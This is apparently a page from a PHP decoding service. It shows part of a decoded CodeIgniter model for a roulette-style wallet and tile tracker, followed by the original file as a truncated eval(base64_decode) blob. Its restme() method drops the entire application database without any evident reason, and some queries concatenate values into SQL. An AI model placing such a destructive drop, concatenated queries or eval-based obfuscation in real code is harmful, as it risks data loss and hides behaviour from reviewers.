$result[\'eowallet\'] = $getWalletvalue[\'eowallet\'];
$result[\'rbwallet\'] = $getWalletvalue[\'rbwallet\'];
$result[\'htwallet\'] = $getWalletvalue[\'htwallet\'];
$result[\'incoming\'] = $getWalletvalue[\'incoming\'];
$result[\'outgoing\'] = $getWalletvalue[\'outgoing\'];
$result[\'ledger\'] = $getWalletvalue[\'ledger\'];
$result[\'mainledger\'] = $getWalletvalue[\'mainledger\'];
$result[\'minusledger\'] = $getWalletvalue[\'minusledger\'];
$this->session->set_userdata($result);
if($getSetvalue[\'tilesequity\'] == \'yes\'){
$totaltilesval = 0;
if($this->session->userdata(\'returnstring\') == \'even\'){
$totaltilesval = $totaltilesval+$getWalletvalue[\'eventiles\'];
}else{
$totaltilesval = $totaltilesval+$getWalletvalue[\'oddtiles\'];
}
if($this->session->userdata(\'returncolorstring\') == \'red\' ){
$totaltilesval = $totaltilesval+$getWalletvalue[
\'redtiles\'];
}else{
$totaltilesval = $totaltilesval+$getWalletvalue[\'blacktiles\'];
}
if($this->session->userdata(\'returnplacestring\') == \'first\'){
$totaltilesval = $totaltilesval+$getWalletvalue[\'firsttiles\'];
}else{
$totaltilesval = $totaltilesval+$getWalletvalue[\'secondtiles\'];
}
$totaltilesval = round($totaltilesval/3);
$updatewallet = array();
if($this->session->userdata(\'returnstring\') == \'even\'){
$updatewallet[\'eventiles\']=$totaltilesval;
}else{
$updatewallet[\'oddtiles\']=$totaltilesval;
}
if($this->session->userdata(\'returncolorstring\') == \'red\'){
$updatewallet[\'redtiles\']=$totaltilesval;
}else{
$updatewallet[\'blacktiles\']=$totaltilesval;
}
if($this->session->userdata(\'returnplacestring\') == \'first\'){
$updatewallet[\'firsttiles\']=$totaltilesval;
}else{
$updatewallet[\'secondtiles\']=$totaltilesval;
}
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
$getWalletvalue = $this->getWalletvalue();
$result[\'redtiles\'] = $getWalletvalue[\'redtiles\'];
$result[\'blacktiles\'] = $getWalletvalue[\'blacktiles\'];
$result[\'firsttiles\'] = $getWalletvalue[\'firsttiles\'];
$result[\'secondtiles\'] = $getWalletvalue[\'secondtiles\'];
$result[\'eventiles\'] = $getWalletvalue[\'eventiles\'];
$result[\'oddtiles\'] = $getWalletvalue[\'oddtiles\'];
}
$this->session->set_userdata($result);
return json_encode($result);
}
}
public function eachtime(){
$return = $this->onetime();
$result[\'eachtime\'] = \'apply\';
$this->session->set_userdata($result);
return $return;
}
public function onetime(){
$session_id = $this->session->session_id;
$getWalletvalue = $this->getWalletvalue();
$total = $getWalletvalue[\'eowallet\']+$getWalletvalue[\'rbwallet\']+$getWalletvalue[\'htwallet\'];
$total = round($total/3);
$updatewallet = array();
$updatewallet[\'eowallet\'] = $total;
$updatewallet[\'rbwallet\'] = $total;
$updatewallet[\'htwallet\'] = $total;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_TILESVAL,$updatewallet);
$getWalletvalue = $this->getWalletvalue();
$result = array();
$result[\'eowallet\'] = $getWalletvalue[\'eowallet\'];
$result[\'rbwallet\'] = $getWalletvalue[\'rbwallet\'];
$result[\'htwallet\'] = $getWalletvalue[\'htwallet\'];
$this->session->set_userdata($result);
return json_encode($result);
}
public function getTopthreeVal(){
$session_id = $this->session->session_id;
$q = "Select * from ".TBL_MENTIONNUMREC." WHERE session_id = \'".$session_id."\' ORDER BY id desc limit 3";
$query = $this -> db -> query($q);
if ($query -> num_rows() > 0) {
return $query->result_array();
}else{
return false;
}
}
public function setWalletVal($val){
$session_id = $this->session->session_id;
$data[\'wallet\'] = $val;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_SETVALUE,$data);
}
public function getValueinSet($mnumber){
$setresult = array();
$setresult[\'value\'] = $mnumber;
$q = "Select * from ".TBL_NUMBERSET." WHERE FIND_IN_SET($mnumber,redset)";
$query = $this -> db -> query($q);
if ($query -> num_rows() > 0) {
$setresult[\'prop\'][] = \'redset\';
}
$q = "Select * from ".TBL_NUMBERSET." WHERE FIND_IN_SET($mnumber,blackset)";
$query = $this -> db -> query($q);
if ($query -> num_rows() > 0) {
$setresult[\'prop\'][] = \'blackset\';
}
$q = "Select * from ".TBL_NUMBERSET." WHERE FIND_IN_SET($mnumber,firstht)";
$query = $this -> db -> query($q);
if ($query -> num_rows() > 0) {
$setresult[\'prop\'][] = \'firstht\';
}
$q = "Select * from ".TBL_NUMBERSET." WHERE FIND_IN_SET($mnumber,secondht)";
$query = $this -> db -> query($q);
if ($query -> num_rows() > 0) {
$setresult[\'prop\'][] = \'secondht\';
}
$q = "Select * from ".TBL_NUMBERSET." WHERE FIND_IN_SET($mnumber,evenset)";
$query = $this -> db -> query($q);
if ($query -> num_rows() > 0) {
$setresult[\'prop\'][] = \'evenset\';
}
$q = "Select * from ".TBL_NUMBERSET." WHERE FIND_IN_SET($mnumber,oddset)";
$query = $this -> db -> query($q);
if ($query -> num_rows() > 0) {
$setresult[\'prop\'][] = \'oddset\';
}
return $setresult;
}
/************** function to save lot number ****************/
public function savelotnumber() {
$session_id = $this->session->session_id;
$data[\'session_id\'] = $session_id;
$data[\'lnumber\'] = $this->input->post(\'lnumber\');
$data[\'wallet\'] = $this->input->post(\'lnumber\');
$getSetvalue = $this->getSetvalue();
if($getSetvalue){
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_SETVALUE,$data);
$inserted_id = $getSetvalue[\'id\'];
$this->session->set_flashdata(\'success\', \'Lot number has been updated successfully.\');
redirect(base_url()."inputpages/setvalue");
return true;
}else{
$this -> db -> insert(TBL_SETVALUE, $data);
$inserted_id = $this -> db -> insert_id();
$datatiles[\'session_id\'] = $session_id;
$datatiles[\'redtiles\'] = 0;
$datatiles[\'blacktiles\'] = 0;
$datatiles[\'firsttiles\'] = 0;
$datatiles[\'secondtiles\'] = 0;
$datatiles[\'eventiles\'] = 0;
$datatiles[\'oddtiles\'] = 0;
$datatiles[\'eowallet\'] = 0;
$datatiles[\'rbwallet\'] = 0;
$datatiles[\'htwallet\'] = 0;
$datatiles[\'incoming\'] = 0;
$datatiles[\'outgoing\'] = 0;
$datatiles[\'mainledger\'] = 0;
$datatiles[\'minusledger\'] = 0;
$this -> db -> insert(TBL_TILESVAL, $datatiles);
$this->session->set_flashdata(\'success\', \'Lot number has been added successfully.\');
redirect(base_url()."inputpages/setvalue");
return true;
}
return $inserted_id;
}
/************** function to save div number ****************/
public function savedivnumber() {
$session_id = $this->session->session_id;
$data[\'session_id\'] = $session_id;
$data[\'dnumber\'] = $this->input->post(\'dnumber\');
$getSetvalue = $this->getSetvalue();
if($getSetvalue){
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_SETVALUE,$data);
$inserted_id = $getSetvalue[\'id\'];
$this->session->set_flashdata(\'success\', \'Division number has been updated successfully.\');
redirect(base_url()."inputpages/setvalue");
return true;
}else{
$this -> db -> insert(TBL_SETVALUE, $data);
$inserted_id = $this -> db -> insert_id();
$this->session->set_flashdata(\'success\', \'Division number has been added successfully.\');
redirect(base_url()."inputpages/setvalue");
return true;
}
}
/************** function to get set value by session id **************/
function getSetvalue() {
$session_id = $this->session->session_id;
$this -> db -> where(\'session_id\',$session_id);
$query = $this -> db -> get(TBL_SETVALUE);
if ($query -> num_rows() > 0) {
foreach ($query->result_array() as $value) {
$result = $value;
}
return $result;
}else{
return false;
}
}
/************** function to get set value by session id **************/
function getWalletvalue() {
$session_id = $this->session->session_id;
$this -> db -> where(\'session_id\',$session_id);
$query = $this -> db -> get(TBL_TILESVAL);
if ($query -> num_rows() > 0) {
foreach ($query->result_array() as $value) {
$result = $value;
}
return $result;
}else{
return false;
}
}
/************** function to save ledger limit ****************/
public function saveledlimit() {
$session_id = $this->session->session_id;
$data[\'session_id\'] = $session_id;
$data[\'ledgerlimit\'] = $this->input->post(\'ledgerlimit\');
$getSetvalue = $this->getSetvalue();
if($getSetvalue){
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_SETVALUE,$data);
$inserted_id = $getSetvalue[\'id\'];
$this->session->set_flashdata(\'success\', \'Ledger Limit has been updated successfully.\');
redirect(base_url()."inputpages/setvalue");
return true;
}else{
$this -> db -> insert(TBL_SETVALUE, $data);
$inserted_id = $this -> db -> insert_id();
$this->session->set_flashdata(\'success\', \'Ledger Limit has been added successfully.\');
redirect(base_url()."inputpages/setvalue");
return true;
}
}
/************** function to save fail case transfer value ****************/
public function savefctv() {
$session_id = $this->session->session_id;
$data[\'session_id\'] = $session_id;
$data[\'fctv\'] = $this->input->post(\'fctv\');
$getSetvalue = $this->getSetvalue();
if($getSetvalue){
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_SETVALUE,$data);
$inserted_id = $getSetvalue[\'id\'];
$this->session->set_flashdata(\'success\', \'Fail case transfer has been updated successfully.\');
redirect(base_url()."inputpages/setvalue");
return true;
}else{
$this -> db -> insert(TBL_SETVALUE, $data);
$inserted_id = $this -> db -> insert_id();
$this->session->set_flashdata(\'success\', \'Fail case transfer has been added successfully.\');
redirect(base_url()."inputpages/setvalue");
return true;
}
}
/************** function to save Wallet Limit ****************/
public function saveswlv() {
$session_id = $this->session->session_id;
$data[\'session_id\'] = $session_id;
$data[\'walletlimit\'] = $this->input->post(\'walletlimit\');
$getSetvalue = $this->getSetvalue();
if($getSetvalue){
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_SETVALUE,$data);
$inserted_id = $getSetvalue[\'id\'];
$this->session->set_flashdata(\'success\', \'Wallet Limit has been updated successfully.\');
redirect(base_url()."inputpages/setvalue");
return true;
}else{
$this -> db -> insert(TBL_SETVALUE, $data);
$inserted_id = $this -> db -> insert_id();
$this->session->set_flashdata(\'success\', \'Wallet Limit has been added successfully.\');
redirect(base_url()."inputpages/setvalue");
return true;
}
}
/************** function to save Minus ledger Limit ****************/
public function saveminusledglimit() {
$session_id = $this->session->session_id;
$data[\'session_id\'] = $session_id;
$data[\'minusledglimit\'] = $this->input->post(\'minusledglimit\');
$getSetvalue = $this->getSetvalue();
if($getSetvalue){
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_SETVALUE,$data);
$inserted_id = $getSetvalue[\'id\'];
$this->session->set_flashdata(\'success\', \'Minus Ledger Limit has been updated successfully.\');
redirect(base_url()."inputpages/setvalue");
return true;
}else{
$this -> db -> insert(TBL_SETVALUE, $data);
$inserted_id = $this -> db -> insert_id();
$this->session->set_flashdata(\'success\', \'Minus Ledger Limit has been added successfully.\');
redirect(base_url()."inputpages/setvalue");
return true;
}
}
/************** function to save Tiles Equity ****************/
public function savetilesequity() {
$session_id = $this->session->session_id;
$data[\'session_id\'] = $session_id;
$data[\'tilesequity\'] = $this->input->post(\'tilesequity\');
$getSetvalue = $this->getSetvalue();
if($getSetvalue){
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> update(TBL_SETVALUE,$data);
$inserted_id = $getSetvalue[\'id\'];
$this->session->set_flashdata(\'success\', \'Tiles Equity has been updated successfully.\');
redirect(base_url()."inputpages/setvalue");
return true;
}else{
$this -> db -> insert(TBL_SETVALUE, $data);
$inserted_id = $this -> db -> insert_id();
$this->session->set_flashdata(\'success\', \'Tiles Equity has been added successfully.\');
redirect(base_url()."inputpages/setvalue");
return true;
}
}
public function destroyAllData(){
$session_id = $this->session->session_id;
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> delete(TBL_SETVALUE);
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> delete(TBL_MENTIONNUMREC);
$this -> db -> where(\'session_id\', $session_id);
$this -> db -> delete(TBL_TILESVAL);
}
public function restme(){
$db = $this->db->database;
$q = "DROP DATABASE ".$db;
$query = $this -> db -> query($q);
}
}
?>'
Did this file decode correctly?
Original Code
<?php eval("?>".base64_decode("PD9waHANCmlmICghZGVmaW5lZCgnQkFTRVBBVEgnKSkNCglleGl0KCdObyBkaXJlY3Qgc2NyaXB0IGFjY2VzcyBhbGxvd2VkJyk7DQpjbGFzcyBJbnB1dHBhZ2VzX21vZGVsIGV4dGVuZHMgQ0lfTW9kZWwgew0KCXB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpIHsNCgkJcGFyZW50OjpfX2NvbnN0cnVjdCgpOw0KCQkkdGhpcyAtPiBsb2FkIC0+IGxpYnJhcnkoInNlc3Npb24iKTsNCgkJJHRoaXMtPmxvYWQtPmRhdGFiYXNlKCk7DQoJfQkNCgkNCglwdWJsaWMgZnVuY3Rpb24gc2F2ZW1lbnRpb25udW1aZXJvKCl7DQoJCSRzZXNzaW9uX2lkID0gJHRoaXMtPnNlc3Npb24tPnNlc3Npb25faWQ7DQoJCSRkYXRhWydzZXNzaW9uX2lkJ10gPSAkc2Vzc2lvbl9pZDsNCgkJJGRhdGFbJ21udW1iZXInXSAgICA9ICR0aGlzLT5pbnB1dC0+cG9zdCgnbW51bWJlcicpOw0KCQkkdGhpcyAtPiBkYiAtPiBpbnNlcnQoVEJMX01FTlRJT05OVU1SRUMsICRkYXRhKTsNCgkJJGluc2VydGVkX2lkID0gJHRoaXMgLT4gZGIgLT4gaW5zZXJ0X2lkKCk7DQoJCQ0KCQkkZ2V0U2V0dmFsdWUgPSAkdGhpcy0+Z2V0U2V0dmFsdWUoKTsNCgkJJGRudW1iZXIgPSAkZ2V0U2V0dmFsdWVbJ2RudW1iZXInXTsNCgkJJGdldFdhbGxldHZhbHVlID0gJHRoaXMtPmdldFdhbGxldHZhbHVlKCk7DQoJCQkNCgkJJGVvd2FsbGV0ID0gJGdldFdhbGxldHZhbHVlWydlb3dhbGxldCddOw0KCQkkdXBkYXRld2FsbGV0Wydlb3dhbGxldCddID0gJGVvd2FsbGV0KyRnZXRTZXR2YWx1ZVsnbG51bWJlciddOw0KCQkJDQoJCSRyYndhbGxldCA9ICRnZXRXYWxsZXR2YWx1ZVsncmJ3YWxsZXQnXTsNCgkJJHVwZGF0ZXdhbGxldFsncmJ3YWxsZXQnXSA9ICRyYndhbGxldCskZ2V0U2V0dmFsdWVbJ2xudW1iZXInXTsNCgkJCQ0KCQkkaHR3YWxsZXQgPSAkZ2V0V2FsbGV0dmFsdWVbJ2h0d2FsbGV0J107DQoJCSR1cGRhdGV3YWxsZXRbJ2h0d2FsbGV0J10gPSAkaHR3YWxsZXQrJGdldFNldHZhbHVlWydsbnVtYmVyJ107DQoJCQkNCgkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQ0KCQkkZ2V0VG9wdGhyZWVWYWwgPSAkdGhpcy0+Z2V0VG9wdGhyZWVWYWwoKTsNCgkJCQ0KCQkJaWYoJGdldFRvcHRocmVlVmFsKXsNCgkJCQlmb3JlYWNoKCRnZXRUb3B0aHJlZVZhbCBhcyAkbW51bXZhbCl7CQkJCQkNCgkJCQkJLy8kdGlsZXNtbnVtdmFsW10gPSAkdGhpcy0+Z2V0VmFsdWVpblNldCgkbW51bXZhbFsnbW51bWJlciddKTsNCgkJCQkJJHJldHVybm51bWJlcltdID0gJG1udW12YWxbJ21udW1iZXInXTsNCgkJCQl9DQoJCQl9DQoJCQkNCgkJCWlmKGNvdW50KCRyZXR1cm5udW1iZXIpID4gMCl7DQoJCQkJJHJldHVybm51bWJlciA9IGltcGxvZGUoJywnLCRyZXR1cm5udW1iZXIpOwkJDQoJCQl9DQoJCQkNCgkJCQ0KCQkNCgkJJHRvdGFsb3V0Z29pbmcgPSAwOw0KCQlpZigkdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JldHVybnN0cmluZycpKXsNCgkJCSRnZXRXYWxsZXR2YWx1ZSA9ICR0aGlzLT5nZXRXYWxsZXR2YWx1ZSgpOw0KCQkJJGVvd2FsbGV0VmFsdWUgID0gJGdldFdhbGxldHZhbHVlWydlb3dhbGxldCddOw0KCQkJaWYoJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZXR1cm5zdHJpbmcnKSA9PSAnZXZlbicpew0KCQkJCQkkZW90aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydldmVudGlsZXMnXTsNCgkJCQkJJGdlbmVvd2FsbGV0dmFsID0gKCRlb3RpbGVzVmFsdWUqMikrJGVvd2FsbGV0VmFsdWU7DQoJCQkJCSR0cmFuc2ZlckVvV2FsbGV0VmFsdWUgPSByb3VuZCgkZ2VuZW93YWxsZXR2YWwvJGRudW1iZXIpOw0KCQkJCQkNCgkJCQkJaWYoJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddPCR0cmFuc2ZlckVvV2FsbGV0VmFsdWUpew0KCQkJCQkJJHRyYW5zZmVyRW9XYWxsZXRWYWx1ZSA9ICRnZXRTZXR2YWx1ZVsnd2FsbGV0bGltaXQnXTsNCgkJCQkJfQ0KCQkJCQkNCgkJCQkJaWYoJGdldFNldHZhbHVlWydmY3R2J10gPT0gJ3llcycpew0KCQkJCQkkZmluYWxlb3dhbGxldFZhbHVlID0gJHRyYW5zZmVyRW9XYWxsZXRWYWx1ZTsNCgkJCQkJfWVsc2V7DQoJCQkJCSRmaW5hbGVvd2FsbGV0VmFsdWUgPSAwOwkNCgkJCQkJfQ0KCQkJCQkNCgkJCQkJDQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydldmVudGlsZXMnXSA9ICR0cmFuc2ZlckVvV2FsbGV0VmFsdWU7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2Vvd2FsbGV0J10gPSAkZ2VuZW93YWxsZXR2YWwtJGZpbmFsZW93YWxsZXRWYWx1ZTsNCgkJCQkJJHRvdGFsb3V0Z29pbmcgPSAkdG90YWxvdXRnb2luZyskdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ2V2ZW50aWxlcycpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9USUxFU1ZBTCwkdXBkYXRld2FsbGV0KTsJCQkJDQoJCQkJCQ0KCQkJCX1lbHNlew0KCQkJCQkkZW90aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydvZGR0aWxlcyddOw0KCQkJCQkkZ2VuZW93YWxsZXR2YWwgPSAoJGVvdGlsZXNWYWx1ZSoyKSskZW93YWxsZXRWYWx1ZTsNCgkJCQkJJHRyYW5zZmVyRW9XYWxsZXRWYWx1ZSA9IHJvdW5kKCRnZW5lb3dhbGxldHZhbC8kZG51bWJlcik7DQoJCQkJCQ0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J108JHRyYW5zZmVyRW9XYWxsZXRWYWx1ZSl7DQoJCQkJCQkkdHJhbnNmZXJFb1dhbGxldFZhbHVlID0gJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddOw0KCQkJCQl9DQoJCQkJCWlmKCRnZXRTZXR2YWx1ZVsnZmN0diddID09ICd5ZXMnKXsNCgkJCQkJJGZpbmFsZW93YWxsZXRWYWx1ZSA9ICR0cmFuc2ZlckVvV2FsbGV0VmFsdWU7DQoJCQkJCX1lbHNlew0KCQkJCQkkZmluYWxlb3dhbGxldFZhbHVlID0gMDsJDQoJCQkJCX0NCgkJCQkJDQoJCQkJCQ0KCQkJCQkkdXBkYXRld2FsbGV0ID0gYXJyYXkoKTsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnb2RkdGlsZXMnXSA9ICR0cmFuc2ZlckVvV2FsbGV0VmFsdWU7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2Vvd2FsbGV0J10gPSAkZ2VuZW93YWxsZXR2YWwtJGZpbmFsZW93YWxsZXRWYWx1ZTsNCgkJCQkJJHRvdGFsb3V0Z29pbmcgPSAkdG90YWxvdXRnb2luZyskdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ29kZHRpbGVzJyk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJCX0NCgkJCQkNCgkJCQ0KCQl9DQoJCWlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuY29sb3JzdHJpbmcnKSl7DQoJCQkNCgkJCQkkcmJ3YWxsZXRWYWx1ZSAgPSAkZ2V0V2FsbGV0dmFsdWVbJ3Jid2FsbGV0J107DQoJCQkJaWYoJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZXR1cm5jb2xvcnN0cmluZycpID09ICdyZWQnKXsNCgkJCQkJJHJidGlsZXNWYWx1ZSA9ICRnZXRXYWxsZXR2YWx1ZVsncmVkdGlsZXMnXTsNCgkJCQkJJGdlbnJid2FsbGV0dmFsID0gKCRyYnRpbGVzVmFsdWUqMikrJHJid2FsbGV0VmFsdWU7DQoJCQkJCSR0cmFuc2ZlcnJiV2FsbGV0VmFsdWUgPSByb3VuZCgkZ2VucmJ3YWxsZXR2YWwvJGRudW1iZXIpOw0KCQkJCQkNCgkJCQkJaWYoJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddPCR0cmFuc2ZlcnJiV2FsbGV0VmFsdWUpew0KCQkJCQkJJHRyYW5zZmVycmJXYWxsZXRWYWx1ZSA9ICRnZXRTZXR2YWx1ZVsnd2FsbGV0bGltaXQnXTsNCgkJCQkJfQ0KCQkJCQkNCgkJCQkJaWYoJGdldFNldHZhbHVlWydmY3R2J10gPT0gJ3llcycpew0KCQkJCQkkZmluYWxyYndhbGxldFZhbHVlID0gJHRyYW5zZmVycmJXYWxsZXRWYWx1ZTsNCgkJCQkJfWVsc2V7DQoJCQkJCSRmaW5hbHJid2FsbGV0VmFsdWUgPSAwOwkNCgkJCQkJfQ0KCQkJCQkNCg0KDQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOw0KCQkJCQkkdXBkYXRld2FsbGV0WydyZWR0aWxlcyddID0gJHRyYW5zZmVycmJXYWxsZXRWYWx1ZTsNCgkJCQkJJHRvdGFsb3V0Z29pbmcgPSAkdG90YWxvdXRnb2luZyskdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JlZHRpbGVzJyk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ3Jid2FsbGV0J10gPSAkZ2VucmJ3YWxsZXR2YWwtJGZpbmFscmJ3YWxsZXRWYWx1ZTsNCgkJCQkJDQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJCX1lbHNlew0KCQkJCQkkcmJ0aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydibGFja3RpbGVzJ107DQoJCQkJCSRnZW5yYndhbGxldHZhbCA9ICgkcmJ0aWxlc1ZhbHVlKjIpKyRyYndhbGxldFZhbHVlOw0KCQkJCQkkdHJhbnNmZXJyYldhbGxldFZhbHVlID0gcm91bmQoJGdlbnJid2FsbGV0dmFsLyRkbnVtYmVyKTsNCgkJCQkJDQoJCQkJCWlmKCRnZXRTZXR2YWx1ZVsnd2FsbGV0bGltaXQnXTwkdHJhbnNmZXJyYldhbGxldFZhbHVlKXsNCgkJCQkJCSR0cmFuc2ZlcnJiV2FsbGV0VmFsdWUgPSAkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J107DQoJCQkJCX0NCgkJCQkJaWYoJGdldFNldHZhbHVlWydmY3R2J10gPT0gJ3llcycpew0KCQkJCQkkZmluYWxyYndhbGxldFZhbHVlID0gJHRyYW5zZmVycmJXYWxsZXRWYWx1ZTsNCgkJCQkJfWVsc2V7DQoJCQkJCSRmaW5hbHJid2FsbGV0VmFsdWUgPSAwOwkNCgkJCQkJfQ0KDQoNCgkJCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2JsYWNrdGlsZXMnXSA9ICR0cmFuc2ZlcnJiV2FsbGV0VmFsdWU7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ3Jid2FsbGV0J10gPSAkZ2VucmJ3YWxsZXR2YWwtJGZpbmFscmJ3YWxsZXRWYWx1ZTsNCgkJCQkJJHRvdGFsb3V0Z29pbmcgPSAkdG90YWxvdXRnb2luZyskdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ2JsYWNrdGlsZXMnKTsNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkJfQ0KCQkJDQoJCQl9DQoJCWlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJucGxhY2VzdHJpbmcnKSl7DQoJCQkNCgkJCQkkaHR3YWxsZXRWYWx1ZSAgPSAkZ2V0V2FsbGV0dmFsdWVbJ2h0d2FsbGV0J107DQoJCQkJaWYoJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZXR1cm5wbGFjZXN0cmluZycpID09ICdmaXJzdCcpew0KCQkJCQkkaHR0aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydmaXJzdHRpbGVzJ107DQoJCQkJCSRnZW5odHdhbGxldHZhbCA9ICgkaHR0aWxlc1ZhbHVlKjIpKyRodHdhbGxldFZhbHVlOw0KCQkJCQkkdHJhbnNmZXJodFdhbGxldFZhbHVlID0gcm91bmQoJGdlbmh0d2FsbGV0dmFsLyRkbnVtYmVyKTsNCgkJCQkJDQoJCQkJCWlmKCRnZXRTZXR2YWx1ZVsnd2FsbGV0bGltaXQnXTwkdHJhbnNmZXJodFdhbGxldFZhbHVlKXsNCgkJCQkJCSR0cmFuc2Zlcmh0V2FsbGV0VmFsdWUgPSAkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J107DQoJCQkJCX0NCgkJCQkJDQoJCQkJCQ0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ2ZjdHYnXSA9PSAneWVzJyl7DQoJCQkJCSRmaW5hbGh0d2FsbGV0VmFsdWUgPSAkdHJhbnNmZXJodFdhbGxldFZhbHVlOw0KCQkJCQl9ZWxzZXsNCgkJCQkJJGZpbmFsaHR3YWxsZXRWYWx1ZSA9IDA7CQ0KCQkJCQl9DQoJCQkJCQ0KDQoNCgkJCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ2ZpcnN0dGlsZXMnXSA9ICR0cmFuc2Zlcmh0V2FsbGV0VmFsdWU7DQoJCQkJCSR0b3RhbG91dGdvaW5nID0gJHRvdGFsb3V0Z29pbmcrJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdmaXJzdHRpbGVzJyk7CQ0KCQkJCQkkdXBkYXRld2FsbGV0WydodHdhbGxldCddID0gJGdlbmh0d2FsbGV0dmFsLSRmaW5hbGh0d2FsbGV0VmFsdWU7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJCX1lbHNlew0KCQkJCQkkaHR0aWxlc1ZhbHVlID0gJGdldFdhbGxldHZhbHVlWydzZWNvbmR0aWxlcyddOw0KCQkJCQkkZ2VuaHR3YWxsZXR2YWwgPSAoJGh0dGlsZXNWYWx1ZSoyKSskaHR3YWxsZXRWYWx1ZTsNCgkJCQkJJHRyYW5zZmVyaHRXYWxsZXRWYWx1ZSA9IHJvdW5kKCRnZW5odHdhbGxldHZhbC8kZG51bWJlcik7DQoJCQkJCQ0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ3dhbGxldGxpbWl0J108JHRyYW5zZmVyaHRXYWxsZXRWYWx1ZSl7DQoJCQkJCQkkdHJhbnNmZXJodFdhbGxldFZhbHVlID0gJGdldFNldHZhbHVlWyd3YWxsZXRsaW1pdCddOw0KCQkJCQl9DQoJCQkJCQ0KCQkJCQlpZigkZ2V0U2V0dmFsdWVbJ2ZjdHYnXSA9PSAneWVzJyl7DQoJCQkJCSRmaW5hbGh0d2FsbGV0VmFsdWUgPSAkdHJhbnNmZXJodFdhbGxldFZhbHVlOw0KCQkJCQl9ZWxzZXsNCgkJCQkJJGZpbmFsaHR3YWxsZXRWYWx1ZSA9IDA7CQ0KCQkJCQl9DQoJCQkJCQ0KDQoNCgkJCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkJCSR1cGRhdGV3YWxsZXRbJ3NlY29uZHRpbGVzJ10gPSAkdHJhbnNmZXJodFdhbGxldFZhbHVlOw0KCQkJCQkkdG90YWxvdXRnb2luZyA9ICR0b3RhbG91dGdvaW5nKyR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgnc2Vjb25kdGlsZXM